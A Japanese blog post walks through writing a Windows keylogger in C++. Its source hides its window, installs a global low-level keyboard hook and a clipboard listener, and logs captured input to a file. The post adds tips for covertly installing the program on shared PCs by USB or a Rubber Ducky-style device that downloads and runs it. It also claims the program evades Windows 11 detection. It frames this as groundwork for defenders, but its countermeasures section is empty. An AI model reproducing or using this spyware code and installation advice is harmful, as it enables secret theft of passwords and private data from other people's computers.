C++で簡易キーロガー作ってみた!

キーロガー (Keylogger) は、キーボードからの入力を監視し、どのキーが押されたかを記録 (ロギング) するソフトウェアまたはハードウェア。もともとはデバッグやユーザー行動分析などの正当な目的で使われることもあるが、セキュリティの文脈では、パスワード、クレジットカード番号、個人情報などを盗み出すために悪用されるマルウェアの一種として広く知られている。

今回は、Windows の低レベルな動作を学習する目的で、OS の機能 (API) を利用したソフトウェアキーロガーの実装に焦点を当てる。

Windows OS でシステム全体のキーボード入力を監視するには、Windows フック (Hook) という仕組みを利用するのが一般的。フックとは、特定のイベント (キーボード入力、マウス操作、ウィンドウの生成など) が発生した際に、OS が特定の処理 (コールバック関数) を呼び出すように 割り込ませる機能。

SetWindowsHookEx と WH_KEYBOARD_LL #

今回の実装では、SetWindowsHookEx という WinAPI 関数を使用する。この関数は、どの種類のイベントをフックするかを指定して、フックプロシージャ (割り込み処理) を OS に登録する。

HHOOK SetWindowsHookEx(
  int       idHook,     // フックの種類
  HOOKPROC  lpfn,       // フックプロシージャ(コールバック関数)のアドレス
  HINSTANCE hMod,       // DLLのハンドル(今回はNULL)
  DWORD     dwThreadId  // スレッドID(0でグローバルフック)
);

フックプロシージャ (KeyboardProc) #

SetWindowsHookEx で登録した関数 (フックプロシージャ) は、以下のような形式で定義する必要がある。キーが押されるたびに、この関数が OS から呼び出される。

// キーボードイベントが発生したときに呼び出される関数 (コールバック関数)
LRESULT CALLBACK KeyboardProc(
  int    nCode,
  WPARAM wParam,
  LPARAM lParam
)

以下は、キー入力をコンソールに出力し、Log.txt ファイルに追記するキーロガーの基本的なコード例。エラー処理などは簡略化している。

メインロジック (WinMain) #

フックを設定し、プログラムが終了しないように メッセージループ を回し続ける。バックグラウンドで動作させるため、通常の main 関数ではなく WinMain を使用し、コンソールウィンドウを非表示にしている。

#include <Windows.h>
#include <fstream>
#include <string>
#include <vector>

// ログファイルの名前を定義
const char* LOG_FILE = "Log.txt";

// グローバルなフックハンドル
HHOOK hHook = NULL;

// Windowsアプリケーションのエントリーポイント
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    // ウィンドウクラスの登録 (クリップボード監視用)
    const WCHAR CLASS_NAME[] = L"ClipboardMonitorClass";
    WNDCLASSW wc = {};
    wc.lpfnWndProc = ClipboardMonitorProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = CLASS_NAME;
    RegisterClassW(&wc);

    // メッセージ専用ウィンドウの作成 (非表示)
    HWND hWnd = CreateWindowExW(
        0, CLASS_NAME, L"Clipboard Monitor", 0, 0, 0, 0, 0,
        HWND_MESSAGE, NULL, hInstance, NULL
    );
    if (hWnd == NULL) return 1;

    // クリップボードリスナーを追加
    if (!AddClipboardFormatListener(hWnd)) return 1;

    // キーボードフックを設定
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
    if (hHook == NULL) return 1;

    // プログラムが終了しないようにメッセージループを実行
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    RemoveClipboardFormatListener(hWnd);
    UnhookWindowsHookEx(hHook);
    return 0;
}

クリップボード監視用のウィンドウプロシージャ #

クリップボードが更新された場合に WriteClipboardDataToFile() を呼び出す。

LRESULT CALLBACK ClipboardMonitorProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
    switch (uMsg) {
        case WM_CLIPBOARDUPDATE:
            // クリップボードが更新された
            WriteClipboardDataToFile();
            return 0;
        case WM_DESTROY:
            PostQuitMessage(0);
            return 0;
        default:
            return DefWindowProc(hWnd, uMsg, wParam, lParam);
    }
}

皆さんも自分の端末以外を操作した経験があると思う。

ネットカフェ、図書館、会社から貸与された PC、家族で共有している端末など、多数あると思うが、もしそのどれかにこのようなプログラムが稼働していた場合、それは大きな脅威となりえる。

このプログラムが稼働していた場合、ログインページでパスワードを入力、プライバシーに関わる検索ワード、仕事の機密情報を扱う場面など、そのどれもがログとして記録されてしまう。

設置の容易さ #

このプログラムは誰もが触れることができる環境にある端末であれば簡単にインストールできる。

例えば、このプログラムをサーバーにアップロードしておき、マイコンに **「PC に接続したらサーバーからプログラムをダウンロードし、実行する」**というコードを書き込み、あとはターゲット端末に接続すれば、自動でダウンロード、インストール、実行が行われてしまう (USB Rubber Ducky / Bash Bunny などのハードウェア)。

そこまで回りくどいことをしなくても、直接 USB を挿してプログラムをコピーすればそれで準備は整ってしまう。

AV 検知の限界 #

このプログラムは外部との通信機能などは持たない、いたってシンプルな構造のため、ウイルスとして検知される可能性も低い。

実際に独自の環境で実行させたが、数時間程度では Windows 11 の最新のセキュリティでも検出しなかった。

対策のレイヤ #

防御側の視点での学習価値 #

自分でこの仕組みを実装することで、**「なぜ AV / EDR がフック登録を監視するのか」「マルウェアがどう常駐するのか」「物理アクセス + 数分でどこまでできるか」**がコードレベルで理解できる。

これは、Blue Team (防御側) として:

• EDR の検知ルールを書く
• インシデント時の挙動を解析する
• セキュリティ研修で **「公共 PC で個人情報を打たない」**理由を技術的に説明する

ための土台になる。